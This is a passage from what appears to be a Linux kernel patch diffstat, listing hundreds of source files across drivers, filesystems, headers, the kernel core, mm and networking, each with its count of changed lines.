drivers/pci/pcie/aer/aerdrv_core.c | 2 - drivers/pci/probe.c | 17 + drivers/pci/quirks.c | 41 +- drivers/pci/rom.c | 7 +- drivers/pci/xen-pcifront.c | 10 +- drivers/pcmcia/topic.h | 16 + drivers/pinctrl/core.c | 5 +- drivers/pinctrl/mvebu/pinctrl-armada-370.c | 4 +- drivers/pinctrl/mvebu/pinctrl-armada-xp.c | 37 +- drivers/platform/msm/pft.c | 2 +- drivers/platform/x86/acer-wmi.c | 11 + drivers/platform/x86/dell-wmi.c | 12 +- drivers/platform/x86/hp-wmi.c | 5 + drivers/platform/x86/hp_accel.c | 1 + drivers/platform/x86/intel_scu_ipcutil.c | 2 +- drivers/pnp/pnpbios/bioscalls.c | 9 +- drivers/power/88pm860x_charger.c | 1 + drivers/power/lp8788-charger.c | 4 +- drivers/power/wm831x_power.c | 6 +- drivers/rapidio/devices/tsi721_dma.c | 8 +- drivers/regulator/core.c | 36 +- drivers/remoteproc/remoteproc_debugfs.c | 2 +- drivers/rtc/rtc-vr41xx.c | 13 +- drivers/s390/block/dasd_alias.c | 23 +- drivers/s390/char/con3215.c | 52 ++- drivers/s390/crypto/ap_bus.c | 1 + drivers/s390/net/qeth_l2_main.c | 1 + drivers/s390/net/qeth_l3_main.c | 1 + drivers/sbus/char/bbc_envctrl.c | 6 + drivers/sbus/char/bbc_i2c.c | 11 +- drivers/scsi/3w-9xxx.c | 77 ++-- drivers/scsi/3w-9xxx.h | 5 - drivers/scsi/3w-sas.c | 50 +-- drivers/scsi/3w-sas.h | 4 - drivers/scsi/3w-xxxx.c | 42 +- drivers/scsi/3w-xxxx.h | 5 - drivers/scsi/aacraid/commctrl.c | 13 +- drivers/scsi/aacraid/commsup.c | 21 +- drivers/scsi/be2iscsi/be_main.c | 6 +- drivers/scsi/be2iscsi/be_mgmt.c | 13 +- drivers/scsi/bfa/bfa_ioc.h | 2 +- drivers/scsi/bnx2fc/bnx2fc_fcoe.c | 7 + drivers/scsi/device_handler/scsi_dh_rdac.c | 4 +- drivers/scsi/hosts.c | 11 + drivers/scsi/hpsa.c | 48 ++- drivers/scsi/ipr.c | 131 +++++- drivers/scsi/ipr.h | 4 +- drivers/scsi/libfc/fc_fcp.c | 19 +- drivers/scsi/libiscsi.c | 10 + drivers/scsi/libsas/sas_discover.c | 6 +- drivers/scsi/lpfc/lpfc_init.c | 5 +- drivers/scsi/lpfc/lpfc_sli.c | 21 + drivers/scsi/megaraid/megaraid_sas.h | 2 + drivers/scsi/megaraid/megaraid_sas_base.c | 23 +- drivers/scsi/megaraid/megaraid_sas_fusion.c | 2 +- drivers/scsi/mvsas/mv_sas.c | 7 +- drivers/scsi/qla2xxx/qla_isr.c | 17 +- drivers/scsi/qla2xxx/qla_target.c | 4 +- drivers/scsi/qla2xxx/tcm_qla2xxx.c | 13 +- drivers/scsi/scsi_error.c | 19 +- drivers/scsi/scsi_lib.c | 128 ++---- drivers/scsi/scsi_sysfs.c | 22 +- drivers/scsi/sd.c | 7 +- drivers/scsi/ses.c | 30 +- drivers/scsi/sg.c | 14 +- drivers/scsi/sr.c | 4 + drivers/scsi/st.c | 2 +- drivers/scsi/storvsc_drv.c | 41 +- drivers/spi/spi-atmel.c | 3 +- drivers/spi/spi-dw-mid.c | 11 +- drivers/spi/spi-dw.c | 6 +- drivers/spi/spi-omap2-mcspi.c | 14 + drivers/spi/spi-orion.c | 10 +- drivers/spi/spi-pl022.c | 4 +- drivers/spi/spi-pxa2xx.c | 13 +- drivers/spi/spi-xilinx.c | 2 +- drivers/spi/spi.c | 5 +- drivers/staging/comedi/comedi_compat32.c | 12 +- drivers/staging/comedi/drivers/adl_pci7x3x.c | 15 +- drivers/staging/comedi/drivers/cb_pcidas64.c | 122 ++++-- drivers/staging/comedi/drivers/daqboard2000.c | 2 +- drivers/staging/iio/accel/sca3000_core.c | 2 +- drivers/staging/iio/adc/lpc32xx_adc.c | 4 +- .../staging/iio/impedance-analyzer/ad5933.c | 15 +- drivers/staging/iio/meter/ade7758.h | 1 - drivers/staging/iio/meter/ade7758_core.c | 57 +-- drivers/staging/iio/meter/ade7758_ring.c | 5 +- drivers/staging/iio/meter/ade7758_trigger.c | 2 +- drivers/staging/ozwpan/ozusbsvc1.c | 19 +- drivers/staging/panel/panel.c | 13 +- .../staging/rtl8187se/ieee80211/ieee80211.h | 4 +- drivers/staging/rtl8192e/rtllib.h | 5 +- drivers/staging/rtl8192e/rtllib_softmac.c | 2 +- .../staging/rtl8192u/ieee80211/ieee80211.h | 10 +- drivers/staging/rtl8712/ieee80211.h | 4 +- drivers/staging/rtl8712/rtl8712_recv.c | 3 +- drivers/staging/rtl8712/usb_intf.c | 1 + drivers/staging/speakup/fakekey.c | 1 + drivers/staging/speakup/selection.c | 13 +- drivers/staging/usbip/usbip_common.c | 11 + drivers/staging/vt6655/bssdb.c | 2 +- drivers/staging/vt6655/device_main.c | 7 +- drivers/staging/vt6655/rf.c | 1 + drivers/staging/wlags49_h2/wl_internal.h | 4 +- drivers/target/iscsi/iscsi_target.c | 179 ++++---- drivers/target/iscsi/iscsi_target_configfs.c | 16 +- drivers/target/iscsi/iscsi_target_core.h | 8 + drivers/target/iscsi/iscsi_target_erl0.c | 13 +- drivers/target/iscsi/iscsi_target_login.c | 87 +++- drivers/target/iscsi/iscsi_target_login.h | 1 + drivers/target/iscsi/iscsi_target_nego.c | 35 +- .../target/iscsi/iscsi_target_parameters.c | 2 +- drivers/target/iscsi/iscsi_target_tq.c | 28 +- drivers/target/iscsi/iscsi_target_util.c | 26 +- drivers/target/loopback/tcm_loop.c | 29 +- drivers/target/loopback/tcm_loop.h | 7 +- drivers/target/target_core_device.c | 11 +- drivers/target/target_core_file.c | 11 +- drivers/target/target_core_iblock.c | 2 +- drivers/target/target_core_pr.c | 49 ++- drivers/target/target_core_pr.h | 2 +- drivers/target/target_core_pscsi.c | 5 +- drivers/target/target_core_pscsi.h | 1 + drivers/target/target_core_sbc.c | 18 +- drivers/target/target_core_spc.c | 5 +- drivers/target/target_core_tpg.c | 8 + drivers/target/target_core_transport.c | 9 +- drivers/target/tcm_fc/tfc_io.c | 3 +- drivers/tty/hvc/hvc_xen.c | 18 +- drivers/tty/pty.c | 24 +- drivers/tty/serial/8250/8250_core.c | 18 +- drivers/tty/serial/8250/8250_dma.c | 17 +- drivers/tty/serial/8250/8250_dw.c | 10 +- drivers/tty/serial/8250/8250_pci.c | 2 +- drivers/tty/serial/8250/8250_pnp.c | 5 + drivers/tty/serial/of_serial.c | 1 - drivers/tty/serial/samsung.c | 8 +- drivers/tty/serial/serial_core.c | 5 +- drivers/tty/serial/sunsab.c | 9 + drivers/tty/tty_io.c | 11 +- drivers/tty/tty_ioctl.c | 12 +- drivers/tty/vt/keyboard.c | 30 +- drivers/tty/vt/vt.c | 9 +- drivers/usb/class/cdc-acm.c | 26 +- drivers/usb/class/cdc-wdm.c | 12 +- drivers/usb/class/usblp.c | 2 +- drivers/usb/core/buffer.c | 26 +- drivers/usb/core/config.c | 8 +- drivers/usb/core/devio.c | 67 +-- drivers/usb/core/driver.c | 6 +- drivers/usb/core/hcd-pci.c | 9 + drivers/usb/core/hcd.c | 18 +- drivers/usb/core/hub.c | 98 ++++- drivers/usb/core/quirks.c | 26 ++ drivers/usb/core/usb.c | 1 + drivers/usb/dwc3/core.c | 11 +- drivers/usb/dwc3/dwc3-omap.c | 2 +- drivers/usb/dwc3/ep0.c | 20 +- drivers/usb/dwc3/gadget.c | 22 +- drivers/usb/dwc3/gadget.h | 2 +- drivers/usb/gadget/composite.c | 2 +- drivers/usb/gadget/configfs.c | 1 + drivers/usb/gadget/f_acm.c | 7 +- drivers/usb/gadget/printer.c | 9 + drivers/usb/gadget/udc-core.c | 5 + drivers/usb/host/ehci-hcd.c | 2 - drivers/usb/host/ehci-pci.c | 25 ++ drivers/usb/host/ehci-sysfs.c | 8 +- drivers/usb/host/isp116x-hcd.c | 2 +- drivers/usb/host/ohci-q.c | 46 +- drivers/usb/host/oxu210hp-hcd.c | 7 +- drivers/usb/host/pci-quirks.c | 18 +- drivers/usb/host/r8a66597-hcd.c | 2 +- drivers/usb/host/sl811-hcd.c | 2 +- drivers/usb/host/whci/qset.c | 4 + drivers/usb/host/xhci-hub.c | 21 +- drivers/usb/host/xhci-mem.c | 15 +- drivers/usb/host/xhci-pci.c | 6 +- drivers/usb/host/xhci-ring.c | 165 ++++--- drivers/usb/host/xhci.c | 39 +- drivers/usb/host/xhci.h | 11 +- drivers/usb/misc/iowarrior.c | 6 + drivers/usb/misc/sisusbvga/sisusb.c | 1 + drivers/usb/musb/musb_core.c | 10 +- drivers/usb/musb/musb_host.c | 21 +- drivers/usb/phy/phy.c | 4 +- drivers/usb/renesas_usbhs/fifo.c | 4 +- drivers/usb/renesas_usbhs/mod_gadget.c | 9 +- drivers/usb/serial/bus.c | 2 +- drivers/usb/serial/cp210x.c | 23 +- drivers/usb/serial/cypress_m8.c | 11 +- drivers/usb/serial/digi_acceleport.c | 19 + drivers/usb/serial/ftdi_sio.c | 59 ++- drivers/usb/serial/ftdi_sio_ids.h | 94 +++- drivers/usb/serial/generic.c | 5 +- drivers/usb/serial/io_edgeport.c | 17 +- drivers/usb/serial/ipaq.c | 3 +- drivers/usb/serial/keyspan.c | 121 ++++-- drivers/usb/serial/mct_u232.c | 9 +- drivers/usb/serial/opticon.c | 2 +- drivers/usb/serial/option.c | 140 +++++- drivers/usb/serial/pl2303.c | 2 +- drivers/usb/serial/pl2303.h | 5 +- drivers/usb/serial/quatech2.c | 1 + drivers/usb/serial/sierra.c | 10 +- drivers/usb/serial/ssu100.c | 11 +- drivers/usb/serial/symbolserial.c | 6 +- drivers/usb/serial/ti_usb_3410_5052.c | 4 +- drivers/usb/serial/usb-serial.c | 37 +- drivers/usb/serial/visor.c | 13 +- drivers/usb/serial/whiteheat.c | 38 +- drivers/usb/serial/zte_ev.c | 24 +- drivers/usb/storage/transport.c | 26 ++ drivers/usb/storage/unusual_devs.h | 57 +++ drivers/vfio/pci/vfio_pci.c | 4 +- drivers/vhost/scsi.c | 53 ++- drivers/vhost/vhost.c | 1 + drivers/video/console/Kconfig | 5 +- drivers/video/console/bitblit.c | 3 +- drivers/video/console/fbcon_ccw.c | 3 +- drivers/video/console/fbcon_cw.c | 3 +- drivers/video/console/fbcon_ud.c | 3 +- drivers/video/da8xx-fb.c | 7 +- drivers/video/logo/logo.c | 17 +- drivers/virtio/virtio.c | 1 + drivers/virtio/virtio_balloon.c | 2 + drivers/virtio/virtio_pci.c | 33 +- drivers/watchdog/omap_wdt.c | 7 + drivers/watchdog/rc32434_wdt.c | 2 +- drivers/xen/gntdev.c | 44 +- drivers/xen/xen-acpi-processor.c | 35 +- drivers/xen/xen-pciback/conf_space.c | 8 +- drivers/xen/xen-pciback/conf_space.h | 2 + drivers/xen/xen-pciback/conf_space_header.c | 61 ++- fs/9p/vfs_inode.c | 3 +- fs/9p/vfs_inode_dotl.c | 3 +- fs/affs/amigaffs.c | 2 +- fs/autofs4/dev-ioctl.c | 8 +- fs/autofs4/expire.c | 12 +- fs/autofs4/root.c | 2 +- fs/binfmt_elf.c | 24 +- fs/btrfs/backref.c | 10 +- fs/btrfs/ctree.c | 2 +- fs/btrfs/ctree.h | 5 + fs/btrfs/delayed-inode.c | 8 + fs/btrfs/dir-item.c | 10 +- fs/btrfs/disk-io.c | 7 +- fs/btrfs/extent-tree.c | 15 +- fs/btrfs/extent_io.c | 5 +- fs/btrfs/extent_map.c | 2 - fs/btrfs/file-item.c | 4 +- fs/btrfs/file.c | 56 +-- fs/btrfs/inode-map.c | 2 +- fs/btrfs/inode.c | 38 +- fs/btrfs/ioctl.c | 5 + fs/btrfs/relocation.c | 5 +- fs/btrfs/send.c | 16 +- fs/btrfs/super.c | 9 + fs/btrfs/transaction.c | 12 +- fs/btrfs/tree-log.c | 2 +- fs/btrfs/xattr.c | 159 ++++--- fs/buffer.c | 14 +- fs/ceph/dir.c | 8 +- fs/ceph/inode.c | 6 +- fs/cifs/cifsencrypt.c | 2 +- fs/cifs/cifsglob.h | 7 +- fs/cifs/cifssmb.c | 21 +- fs/cifs/connect.c | 4 +- fs/cifs/dir.c | 24 +- fs/cifs/file.c | 7 +- fs/cifs/inode.c | 13 +- fs/cifs/readdir.c | 6 +- fs/cifs/sess.c | 32 +- fs/cifs/smb1ops.c | 7 + fs/cifs/smb2file.c | 2 +- fs/cifs/smb2inode.c | 2 +- fs/cifs/smb2maperror.c | 4 +- fs/cifs/smb2ops.c | 18 +- fs/cifs/smb2pdu.c | 41 +- fs/coda/cache.c | 2 +- fs/coredump.c | 40 +- fs/dcache.c | 208 +++++---- fs/debugfs/inode.c | 40 +- fs/devpts/inode.c | 20 + fs/ecryptfs/file.c | 27 +- fs/ecryptfs/inode.c | 2 +- fs/ecryptfs/kthread.c | 14 +- fs/ecryptfs/main.c | 16 +- fs/efivarfs/file.c | 71 +++ fs/efivarfs/inode.c | 30 +- fs/efivarfs/internal.h | 3 +- fs/efivarfs/super.c | 16 +- fs/exportfs/expfs.c | 2 +- fs/ext2/inode.c | 2 + fs/ext2/super.c | 1 + fs/ext2/xip.c | 1 + fs/ext3/super.c | 7 - fs/ext4/ext4.h | 80 +++- fs/ext4/extents.c | 15 +- fs/ext4/extents_status.c | 8 + fs/ext4/file.c | 8 +- fs/ext4/ialloc.c | 14 +- fs/ext4/indirect.c | 2 +- fs/ext4/inode.c | 76 +++- fs/ext4/ioctl.c | 10 +- fs/ext4/mballoc.c | 90 ++-- fs/ext4/migrate.c | 17 +- fs/ext4/move_extent.c | 11 +- fs/ext4/namei.c | 24 +- fs/ext4/resize.c | 8 +- fs/ext4/super.c | 61 ++- fs/ext4/xattr.c | 32 +- fs/file_table.c | 148 +------ fs/fs-writeback.c | 29 +- fs/fscache/netfs.c | 9 +- fs/hfs/bnode.c | 9 +- fs/hfs/brec.c | 20 +- fs/hfsplus/bnode.c | 3 - fs/hfsplus/brec.c | 20 +- fs/hostfs/hostfs_kern.c | 4 +- fs/hpfs/namei.c | 25 +- fs/hpfs/super.c | 11 +- fs/inode.c | 4 +- fs/internal.h | 3 - fs/ioprio.c | 14 +- fs/isofs/inode.c | 15 +- fs/isofs/isofs.h | 23 +- fs/isofs/rock.c | 61 ++- fs/jbd2/checkpoint.c | 7 +- fs/jbd2/journal.c | 61 ++- fs/jbd2/recovery.c | 8 +- fs/jbd2/transaction.c | 2 + fs/jffs2/README.Locking | 5 +- fs/jffs2/build.c | 75 +++- fs/jffs2/file.c | 39 +- fs/jffs2/gc.c | 17 +- fs/jffs2/jffs2_fs_sb.h | 2 - fs/jffs2/nodelist.h | 6 +- fs/jffs2/scan.c | 5 + fs/jffs2/wbuf.c | 17 +- fs/jfs/jfs_dtree.c | 4 +- fs/libfs.c | 12 +- fs/lockd/host.c | 7 +- fs/lockd/mon.c | 42 +- fs/lockd/netns.h | 1 + fs/lockd/svc.c | 13 +- fs/lockd/svc4proc.c | 2 +- fs/lockd/svcproc.c | 2 +- fs/locks.c | 51 ++- fs/namei.c | 43 +- fs/namespace.c | 68 ++- fs/ncpfs/dir.c | 2 +- fs/ncpfs/ioctl.c | 1 - fs/ncpfs/ncplib_kernel.h | 4 +- fs/nfs/callback.c | 8 +- fs/nfs/callback_xdr.c | 4 +- fs/nfs/delegation.c | 25 +- fs/nfs/delegation.h | 1 + fs/nfs/direct.c | 7 + fs/nfs/getroot.c | 2 +- fs/nfs/inode.c | 8 +- fs/nfs/nfs3acl.c | 5 +- fs/nfs/nfs3xdr.c | 2 +- fs/nfs/nfs4client.c | 59 +-- fs/nfs/nfs4proc.c | 68 ++- fs/nfs/nfs4renewd.c | 12 +- fs/nfs/nfs4state.c | 19 +- fs/nfs/pagelist.c | 4 +- fs/nfsd/nfs4callback.c | 11 +- fs/nfsd/nfs4proc.c | 3 +- fs/nfsd/nfs4state.c | 46 +- fs/nfsd/nfs4xdr.c | 3 + fs/nfsd/nfssvc.c | 5 +- fs/nfsd/vfs.c | 3 + fs/nilfs2/btree.c | 47 +- fs/nilfs2/inode.c | 39 +- fs/nilfs2/namei.c | 15 +- fs/nilfs2/nilfs.h | 2 - fs/nilfs2/segment.c | 45 +- fs/nilfs2/segment.h | 5 + fs/nilfs2/the_nilfs.c | 2 +- fs/notify/fanotify/fanotify_user.c | 2 +- fs/notify/fdinfo.c | 4 +- fs/notify/fsnotify.c | 4 +- fs/notify/inode_mark.c | 17 +- fs/notify/mark.c | 30 +- fs/ocfs2/aops.c | 16 +- fs/ocfs2/dcache.c | 2 +- fs/ocfs2/dlm/dlmconvert.c | 24 +- fs/ocfs2/dlm/dlmmaster.c | 57 ++- fs/ocfs2/dlm/dlmrecovery.c | 3 +- fs/ocfs2/dlmglue.c | 10 +- fs/ocfs2/file.c | 22 +- fs/omfs/inode.c | 3 +- fs/open.c | 2 - fs/proc/array.c | 13 +- fs/proc/base.c | 73 +++- fs/proc/generic.c | 12 - fs/proc/inode.c | 21 + fs/proc/internal.h | 1 + fs/proc/namespaces.c | 4 +- fs/proc/task_mmu.c | 4 +- fs/proc/task_nommu.c | 2 +- fs/pstore/inode.c | 9 +- fs/pstore/ram.c | 25 +- fs/pstore/ram_core.c | 31 +- fs/quota/dquot.c | 48 ++- fs/reiserfs/reiserfs.h | 2 - fs/signalfd.c | 5 +- fs/splice.c | 24 +- fs/stat.c | 11 +- fs/super.c | 25 +- fs/sysv/inode.c | 10 +- fs/ubifs/commit.c | 10 +- fs/ubifs/file.c | 24 ++ fs/ubifs/log.c | 19 +- fs/ubifs/master.c | 7 +- fs/ubifs/super.c | 1 - fs/ubifs/ubifs.h | 2 - fs/udf/inode.c | 60 ++- fs/udf/symlink.c | 17 +- fs/udf/unicode.c | 21 +- fs/xfs/xfs_aops.c | 61 +++ fs/xfs/xfs_buf_item.c | 4 + fs/xfs/xfs_dquot.c | 3 +- fs/xfs/xfs_file.c | 21 +- fs/xfs/xfs_inode.c | 28 +- fs/xfs/xfs_qm.c | 8 +- fs/xfs/xfs_symlink.c | 2 +- fs/xfs/xfs_trans.c | 1 + include/acpi/acpixf.h | 2 +- include/acpi/actypes.h | 21 + include/acpi/platform/acenv.h | 1 + include/asm-generic/sections.h | 4 + include/drm/drm_pciids.h | 6 +- include/linux/ata.h | 4 +- include/linux/blk_types.h | 4 +- include/linux/blkdev.h | 5 +- include/linux/capability.h | 5 +- include/linux/ceph/decode.h | 17 - include/linux/ceph/messenger.h | 2 +- include/linux/clocksource.h | 2 +- include/linux/compiler-gcc.h | 117 ++++- include/linux/compiler-gcc3.h | 23 - include/linux/compiler-gcc4.h | 88 ---- include/linux/compiler-intel.h | 7 + include/linux/compiler.h | 6 +- include/linux/console.h | 1 + include/linux/cred.h | 1 + include/linux/crypto.h | 13 + include/linux/dcache.h | 8 +- include/linux/devpts_fs.h | 4 + include/linux/efi.h | 9 +- include/linux/enclosure.h | 4 + include/linux/fs.h | 16 +- include/linux/fsnotify.h | 6 +- include/linux/iio/events.h | 2 +- include/linux/iio/iio.h | 17 + include/linux/iio/trigger.h | 4 +- include/linux/inetdevice.h | 2 +- include/linux/interrupt.h | 22 - include/linux/jbd2.h | 5 +- include/linux/jiffies.h | 12 - include/linux/kernel.h | 6 +- include/linux/kgdb.h | 2 +- include/linux/libata.h | 14 +- include/linux/lockd/lockd.h | 9 +- include/linux/mbus.h | 2 +- include/linux/memcontrol.h | 37 ++ include/linux/migrate.h | 3 + include/linux/mm.h | 8 +- include/linux/mod_devicetable.h | 7 + include/linux/mount.h | 5 + include/linux/netfilter/x_tables.h | 12 +- include/linux/nfs_fs.h | 4 +- include/linux/nfs_xdr.h | 13 +- include/linux/nilfs2_fs.h | 2 +- include/linux/of.h | 84 +++- include/linux/oom.h | 3 + include/linux/pci.h | 2 + include/linux/pci_ids.h | 7 + include/linux/printk.h | 6 +- include/linux/pstore_ram.h | 4 +- include/linux/ptrace.h | 24 +- include/linux/quotaops.h | 15 + include/linux/radix-tree.h | 22 +- include/linux/sched.h | 21 +- include/linux/security.h | 2 +- include/linux/signal.h | 1 - include/linux/skbuff.h | 3 + include/linux/string.h | 5 +- include/linux/sunrpc/svc_xprt.h | 1 + include/linux/syscalls.h | 2 +- include/linux/time.h | 13 + include/linux/tracepoint.h | 17 +- include/linux/types.h | 2 +- include/linux/ucs2_string.h | 4 + include/linux/usb.h | 26 ++ include/linux/usb/ehci_def.h | 4 +- include/linux/usb/hcd.h | 1 + include/linux/usb/quirks.h | 6 + include/linux/user_namespace.h | 12 + include/linux/workqueue.h | 2 +- include/media/videobuf2-core.h | 4 + include/net/af_unix.h | 10 +- include/net/inet_common.h | 3 +- include/net/inet_connection_sock.h | 1 + include/net/inetpeer.h | 16 +- include/net/ip.h | 45 +- include/net/ip6_fib.h | 2 +- include/net/ipv6.h | 12 +- include/net/netns/ipv4.h | 1 + include/net/netns/sctp.h | 1 + include/net/scm.h | 1 + include/net/sctp/command.h | 2 +- include/net/sctp/sctp.h | 5 + include/net/sctp/sm.h | 6 +- include/net/sctp/structs.h | 4 + include/net/secure_seq.h | 2 - include/net/sock.h | 27 +- include/net/tcp.h | 1 + include/rdma/ib.h | 54 +++ include/sound/ak4113.h | 2 +- include/sound/ak4114.h | 2 +- include/sound/emu10k1.h | 14 +- include/sound/wm8904.h | 2 +- include/uapi/linux/const.h | 3 + include/uapi/linux/netfilter/xt_bpf.h | 2 + include/uapi/linux/usbdevice_fs.h | 3 +- include/xen/interface/sched.h | 8 + init/Kconfig | 1 + init/main.c | 4 + ipc/compat.c | 2 +- ipc/ipc_sysctl.c | 3 +- ipc/mqueue.c | 5 - ipc/msg.c | 14 +- ipc/sem.c | 43 +- ipc/shm.c | 12 +- ipc/util.c | 8 +- kernel/audit.c | 2 +- kernel/audit_tree.c | 1 + kernel/capability.c | 4 + kernel/cgroup.c | 2 +- kernel/debug/kdb/kdb_main.c | 2 +- kernel/events/core.c | 68 ++- kernel/events/uprobes.c | 1 - kernel/fork.c | 47 +- kernel/freezer.c | 3 + kernel/futex.c | 7 +- kernel/futex_compat.c | 2 +- kernel/groups.c | 11 +- kernel/irq/manage.c | 6 +- kernel/irq/proc.c | 19 +- kernel/irq/resend.c | 18 +- kernel/kcmp.c | 11 +- kernel/module.c | 23 +- kernel/panic.c | 3 + kernel/pid.c | 2 + kernel/posix-timers.c | 1 + kernel/power/hibernate.c | 8 +- kernel/power/main.c | 21 +- kernel/power/power.h | 9 +- kernel/power/process.c | 41 +- kernel/power/suspend.c | 66 +-- kernel/power/suspend_test.c | 24 +- kernel/printk.c | 41 +- kernel/ptrace.c | 59 ++- kernel/resource.c | 5 +- kernel/sched/core.c | 6 +- kernel/sched/debug.c | 2 +- kernel/sched/rt.c | 4 +- kernel/sched/sched.h | 13 + kernel/signal.c | 23 +- kernel/smp.c | 2 +- kernel/smpboot.c | 2 + kernel/softirq.c | 137 +----- kernel/time.c | 58 +-- kernel/time/alarmtimer.c | 36 +- kernel/time/clockevents.c | 10 +- kernel/time/ntp.c | 11 + kernel/time/posix-clock.c | 4 +- kernel/trace/ftrace.c | 4 +- kernel/trace/ring_buffer.c | 109 ++--- kernel/trace/ring_buffer_benchmark.c | 2 +- kernel/trace/trace.c | 23 +- kernel/trace/trace.h | 1 + kernel/trace/trace_branch.c | 17 +- kernel/trace/trace_clock.c | 9 +- kernel/trace/trace_events.c | 5 +- kernel/trace/trace_events_filter.c | 17 +- kernel/trace/trace_irqsoff.c | 8 +- kernel/trace/trace_printk.c | 10 +- kernel/uid16.c | 2 +- kernel/user.c | 1 + kernel/user_namespace.c | 125 +++++- kernel/workqueue.c | 68 +-- lib/bitmap.c | 25 +- lib/btree.c | 1 + lib/checksum.c | 12 +- lib/decompress_bunzip2.c | 2 +- lib/devres.c | 2 +- lib/dma-debug.c | 4 +- lib/klist.c | 6 +- lib/lzo/lzo1x_decompress_safe.c | 103 +++-- lib/radix-tree.c | 12 +- lib/string.c | 16 + lib/strnlen_user.c | 3 +- lib/ucs2_string.c | 62 +++ mm/compaction.c | 2 +- mm/filemap.c | 9 +- mm/frontswap.c | 4 +- mm/huge_memory.c | 11 +- mm/hugetlb.c | 14 +- mm/ksm.c | 2 +- mm/memcontrol.c | 193 +++++---- mm/memory-failure.c | 12 +- mm/memory.c | 115 +++-- mm/memory_hotplug.c | 48 ++- mm/migrate.c | 55 ++- mm/mmap.c | 11 +- mm/nommu.c | 4 +- mm/oom_kill.c | 75 ++-- mm/page-writeback.c | 7 +- mm/page_alloc.c | 24 +- mm/page_cgroup.c | 1 + mm/percpu-vm.c | 22 +- mm/process_vm_access.c | 2 +- mm/shmem.c | 116 ++++- mm/slab_common.c | 2 + mm/truncate.c | 58 ++- mm/util.c | 9 +- mm/vmscan.c | 35 +- net/8021q/vlan_core.c | 5 +- net/9p/client.c | 3 +- net/appletalk/ddp.c | 3 - net/batman-adv/send.c | 6 + net/bluetooth/hidp/core.c | 14 + net/bluetooth/l2cap_sock.c | 5 +- net/bluetooth/rfcomm/core.c | 7 +- net/bluetooth/rfcomm/sock.c | 3 +- net/bluetooth/sco.c | 9 +- net/bridge/br_ioctl.c | 7 +- net/bridge/br_mdb.c | 3 +- net/bridge/br_multicast.c | 9 +- net/bridge/br_private.h | 10 + net/bridge/br_stp_bpdu.c | 2 +- net/bridge/br_stp_if.c | 9 +- net/caif/caif_socket.c | 10 +- net/can/af_can.c | 3 + net/ceph/auth_x.c | 256 +++++------ net/ceph/crypto.c | 169 ++++++-- net/ceph/messenger.c | 15 +- net/ceph/mon_client.c | 16 +- net/ceph/osd_client.c | 61 ++- net/ceph/osdmap.c | 154 +++++-- net/compat.c | 25 +- net/core/datagram.c | 45 +- net/core/dev.c | 31 +- net/core/dst.c | 17 +- net/core/ethtool.c | 2 +- net/core/fib_rules.c | 14 +- net/core/gen_stats.c | 15 +- net/core/iovec.c | 10 +- net/core/pktgen.c | 4 +- net/core/rtnetlink.c | 31 +- net/core/scm.c | 9 + net/core/secure_seq.c | 25 -- net/core/skbuff.c | 11 +- net/core/sock.c | 2 - net/core/sysctl_net_core.c | 11 +- net/decnet/dn_route.c | 9 +- net/dns_resolver/dns_query.c | 4 +- net/ipv4/datagram.c | 16 +- net/ipv4/fib_rules.c | 4 + net/ipv4/fib_semantics.c | 2 +- net/ipv4/icmp.c | 2 - net/ipv4/igmp.c | 14 +- net/ipv4/inet_diag.c | 18 +- net/ipv4/inetpeer.c | 18 - net/ipv4/ip_forward.c | 6 +- net/ipv4/ip_fragment.c | 18 +- net/ipv4/ip_options.c | 4 + net/ipv4/ip_output.c | 51 +-- net/ipv4/ip_sockglue.c | 8 +- net/ipv4/ip_tunnel.c | 14 +- net/ipv4/ipmr.c | 27 +- net/ipv4/netfilter/arp_tables.c | 278 ++++-------- net/ipv4/netfilter/ip_tables.c | 306 ++++--------- net/ipv4/ping.c | 5 +- net/ipv4/raw.c | 2 +- net/ipv4/route.c | 109 +++-- net/ipv4/tcp.c | 3 +- net/ipv4/tcp_illinois.c | 1 - net/ipv4/tcp_input.c | 18 +- net/ipv4/tcp_ipv4.c | 47 +- net/ipv4/tcp_output.c | 150 ++++--- net/ipv4/tcp_vegas.c | 3 +- net/ipv4/tcp_veno.c | 2 +- net/ipv4/tcp_yeah.c | 2 +- net/ipv4/udp.c | 6 +- net/ipv4/udp_diag.c | 4 +- net/ipv4/xfrm4_mode_tunnel.c | 2 +- net/ipv4/xfrm4_policy.c | 2 +- net/ipv6/addrconf.c | 14 +- net/ipv6/addrlabel.c | 2 +- net/ipv6/datagram.c | 30 +- net/ipv6/exthdrs_core.c | 6 +- net/ipv6/exthdrs_offload.c | 2 +- net/ipv6/ip6_fib.c | 70 +-- net/ipv6/ip6_gre.c | 24 +- net/ipv6/ip6_input.c | 6 +- net/ipv6/ip6_output.c | 20 +- net/ipv6/ip6_tunnel.c | 12 +- net/ipv6/ip6mr.c | 20 +- net/ipv6/mcast.c | 2 - net/ipv6/ndisc.c | 4 +- net/ipv6/netfilter/ip6_tables.c | 300 +++---------- net/ipv6/netfilter/nf_conntrack_reasm.c | 5 +- net/ipv6/output_core.c | 23 - net/ipv6/reassembly.c | 10 +- net/ipv6/route.c | 17 +- net/ipv6/sit.c | 12 +- net/ipv6/tcp_ipv6.c | 9 +- net/ipv6/udp.c | 12 +- net/ipv6/xfrm6_policy.c | 2 +- net/ipx/af_ipx.c | 6 +- net/irda/af_irda.c | 7 +- net/irda/ircomm/ircomm_tty.c | 4 +- net/irda/irlmp.c | 2 +- net/l2tp/l2tp_core.c | 11 +- net/l2tp/l2tp_ip.c | 8 +- net/l2tp/l2tp_ip6.c | 8 +- net/l2tp/l2tp_ppp.c | 3 +- net/llc/af_llc.c | 1 + net/mac80211/agg-rx.c | 2 +- net/mac80211/debugfs_netdev.c | 1 + net/mac80211/ieee80211_i.h | 23 +- net/mac80211/key.c | 2 +- net/mac80211/main.c | 3 + net/mac80211/mesh.c | 4 + net/mac80211/mesh_pathtbl.c | 8 +- net/mac80211/mlme.c | 5 +- net/mac80211/rate.c | 2 +- net/mac80211/rc80211_minstrel_ht.c | 2 +- net/mac80211/rx.c | 20 +- net/mac80211/tx.c | 30 +- net/netfilter/ipset/ip_set_core.c | 6 + net/netfilter/ipvs/ip_vs_conn.c | 1 - net/netfilter/ipvs/ip_vs_core.c | 35 +- net/netfilter/ipvs/ip_vs_ftp.c | 10 +- net/netfilter/ipvs/ip_vs_pe_sip.c | 2 +- net/netfilter/ipvs/ip_vs_sync.c | 5 +- net/netfilter/ipvs/ip_vs_xmit.c | 5 +- net/netfilter/nf_conntrack_core.c | 21 +- net/netfilter/nf_conntrack_expect.c | 3 +- net/netfilter/nf_conntrack_proto_tcp.c | 6 + 